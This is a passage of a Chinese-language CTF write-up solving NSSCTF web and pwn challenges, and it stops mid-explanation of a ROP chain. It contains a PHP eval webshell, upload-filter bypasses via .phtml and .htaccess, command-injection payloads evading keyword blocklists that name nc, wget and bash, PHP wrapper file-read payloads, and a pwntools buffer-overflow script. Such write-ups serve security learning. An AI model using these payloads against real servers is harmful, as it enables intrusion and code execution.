用dirsearch扫一下发现

[12:01:20] 301 - 335B - /.git -> http://node7.anna.nssctf.cn:22808/.git/

git泄露,而且phpinfo.php可以直接访问image-20250819120849693

这题莫名其妙的

4.jicao

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

一个php审计

需要post请求和get请求,get需要上传一个json

{"x":"wllm"}

但注意php会解码一次url,所以我们得上传url编码

image-20250819123025294

或者直接curl也行

1
2
3
4
5
6
curl -X POST 'http://node7.anna.nssctf.cn:24283/?json=%7B%22x%22%3A%22wllm%22%7D' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'id=wllmNB'
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">'index.php'</span><span style="color: #007700">);<br />include(</span><span style="color: #DD0000">"flag.php"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$id</span><span style="color: #007700">=</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'id'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$json</span><span style="color: #007700">=</span><span style="color: #0000BB">json_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'json'</span><span style="color: #007700">],</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />if&nbsp;(</span><span style="color: #0000BB">$id</span><span style="color: #007700">==</span><span style="color: #DD0000">"wllmNB"</span><span style="color: #007700">&amp;&amp;</span><span style="color: #0000BB">$json</span><span style="color: #007700">[</span><span style="color: #DD0000">'x'</span><span style="color: #007700">]==</span><span style="color: #DD0000">"wllm"</span><span style="color: #007700">)<br />{echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color: #007700">;}<br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>

5.easyupload1.0

还是说一下一句话木马的原理

1
<?php @eval($_POST['cmd']); ?>

当我们把文件上传到服务器的时候,

这题没有过滤php文件,只要改content-type就行了

./upload/1.php succesfully uploaded!

中国Antsword之类的软件,会不断往里面注入ls之类的命令,然后还原出这个服务器

当然我们也可以手动注入

image-20250819155816911

这道题蚁剑连上去得到的是假flag,需要在phpinfo环境里面才能知道flag

6.easyupload2.0

image-20250819160152239

直接改Content-Type行不通了

后缀被检测了

image-20250819160926767

改成phtml就行了

7.easyupload3.0

上传.htaccess将所有文件解析为php就行了

image-20250819164402008
image-20250819164412036

8.FinalRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

很多被禁掉了

由于echo被禁了,我们没法输出,但是tee还在

可以用tee获得目录

1
dir / | tee a.txt

然后找到

a_here_is_a_f1ag dev home media proc sbin tmp bin etc lib mnt root srv usr boot flllllaaaaaaggggggg lib64 opt run sys var

发现就在flllllaaaaaaggggggg里面

但是这个包含la,会被过滤,我们用通配符代替la就行了

1
dir /flllll?aaaaaggggggg | tee a.txt

9.PseudoProtocols

打开提示说寻找hint.php

而且还给了一个参数wllm

怀疑是php伪协议

image-20250819171243264

直接把里面内容输出出来

<?php //go to /test2222222222222.php ?>

提示我们去这个

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

需要让a经过file_get_contents函数变成I want flag

1
2
3
4
if (isset($a) && (file_get_contents($a,'r')) === 'I want flag') {
echo "success\n";
echo $flag;
}
  • file_get_contents($a) 不是直接判断 $a,而是要去 读取 $a 指定的文件或流的内容
  • 所以 $a 必须是一个“文件名”或“伪协议路径”,PHP 通过它才能打开并返回内容。
  • 如果你传 ?a=I want,PHP 会把 "I want" 当成文件名,结果是 ——
    1. 去找当前目录下有没有一个文件叫 I want
    2. 如果文件不存在,就报错,返回 false
    3. 永远不会等于 'I want flag'

所以这里可以用另一个协议,提供数据

?a=data://text/plain,I want flag

于是拿到flag

10.ez_ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

要求get file的前3个字符是php

后面又有include,那很明显是提示php伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php

还是推荐用base64,不然中文输出不出来

<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); echo "NSSCTF{flag_is_not_here}" ."

"; echo "real_flag_is_in_'flag'"."
"; echo "换个思路,试试PHP伪协议呢";

被戏耍了

1
?file=php://filter/convert.base64-encode/resource=flag

不过改一下就行了

11.babyrce

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

又是一堆过滤,不过ls没禁

image-20250819173335842

估计就是在flag.php里

不过打开flag.php是空的,应该是执行了代码,我们要看到源码才行

直接strings输出出来

1
rce=strings${IFS}fl?g.php|tee${IFS}a.txt

注意用?通配绕过flag

12.导弹迷踪

看上去是个游戏,其实flag就在game.js里

var Messages = { ... FINISH: { title: function () {return 'LEVEL COMPLETED';}, text: function () { if (mLevel === 6) { return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}'; } else { return 'CLICK TO CONTINUE'; } }, } };

13.ping ping ping

image-20250819195335027

给了一个ip参数,传入ip就能执行ping

所以加上|或者;就能连接命令,从而实现rce

先ls,发现flag.php,index.php

先搞出源码,

1
?ip=127.0.0.1;cat$IFS$1index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

可以看到大多数都被屏蔽了,不过指令都没屏蔽,直接拼就行了

1
?ip=127.0.0.1;a=g;strings$IFS$1fla$a.php|base64

14.Caidao

image-20250819200839415

进来一个图片,显然提示一句话木马

中国antsword直接连上去

虚拟终端cat /flag拿到

15.ezsql

image-20250819201053898

打开说参数是wllm,尝试传一下

用sqlmap梭的,先放着

16.奇妙的md5

Pwn

1.速来签到

image-20250824212729449

连上去之后,发现输入命令,就会执行,于是试探一下得到flag

2.gift_pwn

image-20250824213518702

nc没反应,但是打开附件之后,发现有一个gift函数,就是后门函数

image-20250824213557187

main函数里面是一个read函数,往buf里面写入数据,buf只有16个字节,但是可以读取100个字节

那么就可以覆盖栈

image-20250824213700705

只需要把这8个字节覆盖成gift的地址就行了

gift .text 00000000004005B6 刚好16个16进制数,2个16进制数1字节

所以就是8个字节,我们写成字节的形式

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
p = remote("node7.anna.nssctf.cn",23681)

payload = b"A"*16 # buf
payload += b"B"*8 # saved RBP
payload += p64(0x4005b6) # ret2win 地址

p.send(payload + b"\n")
p.interactive()

3,口算题卡

题目要求回答100个问题,考察pwntools的使用,以及正则表达式

image-20250825003541785

那么就很简单了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from re import *
from tqdm import *
p = remote("node4.anna.nssctf.cn",28511)
p.recvuntil("Good luck & Have fun!\n")
for _ in trange(100):
cal = p.recvline().decode()
cal = re.search(r"(\d+\s*[+\-*/]\s*\d+)",cal)
r = cal.group(1)
p.send(str(eval(r)).encode())
p.recvline()
p.interactive()

4.shell

image-20250825094543099

和giftpwn一样,跳转到system就行了

但是我们怎么修改system里的命令呢

image-20250825101738236

我们发现command是在rdi上,那么我们的想法是,先修改rdi,然后再调用system

不过我们只有一个read可以利用,我们先填充buf,然后让buf跳转到rdi,但是这样的话,怎么调用system是个问题

这就要用到ROP链

  1. ROP 是什么
  • ROP = Return Oriented Programming(返回导向编程)。
  • 原理:程序里本来就有很多小片段结尾是 ret 的指令(比如 pop rdi; retadd rsp,8; ret 等),我们称它们为 gadget
  • 当你能控制函数返回地址时,你就可以让程序 不回到原来的地方,而是去执行你挑选的 gadget。

通过一个 gadget 执行完毕后,它会 ret,又会跳到你栈上布置的下一个 gadget 地址。 这样一环扣一环,你就在「返回地址 → gadget → 返回 → 下一个 gadget」的循环里,拼接出一条 执行链

这条链条就是 ROP 链

  1. 为什么要用 ROP 链
  • 在现代系统里,栈通常 不可执行(NX enabled),不能直接在栈上放 shellcode。
  • 但是你可以「借用」程序已有的代码片段(gadget)来完成任意操作。
  • 最常见的用途:
    • 设置寄存器(比如 pop rdi; ret 设置函数参数)。
    • 调用现有的函数(比如 libc 里的 system("/bin/sh")

利用pop rdi; ret就可以将栈顶上8字节的内容弹入rdi

不过我们没有“/bin/sh",所以我们把”/bin/sh"放在buf的开头,等会gadget跳转回buf开头,就能弹入rdi,然后调用

...AAAA (填充) ...BBBB (saved RBP) 0x4005e3 # gadget: pop rdi ; ret 0xdeadbeefcafe # 你想要放进 rdi 的值 (/bin/sh 的地址) buf地址 0x400430 # system@plt

这个pop rdi;ret就相当于一个承上启下的作用

先取栈顶放入rdi,然后再跳转到system

关键是buf地址怎么找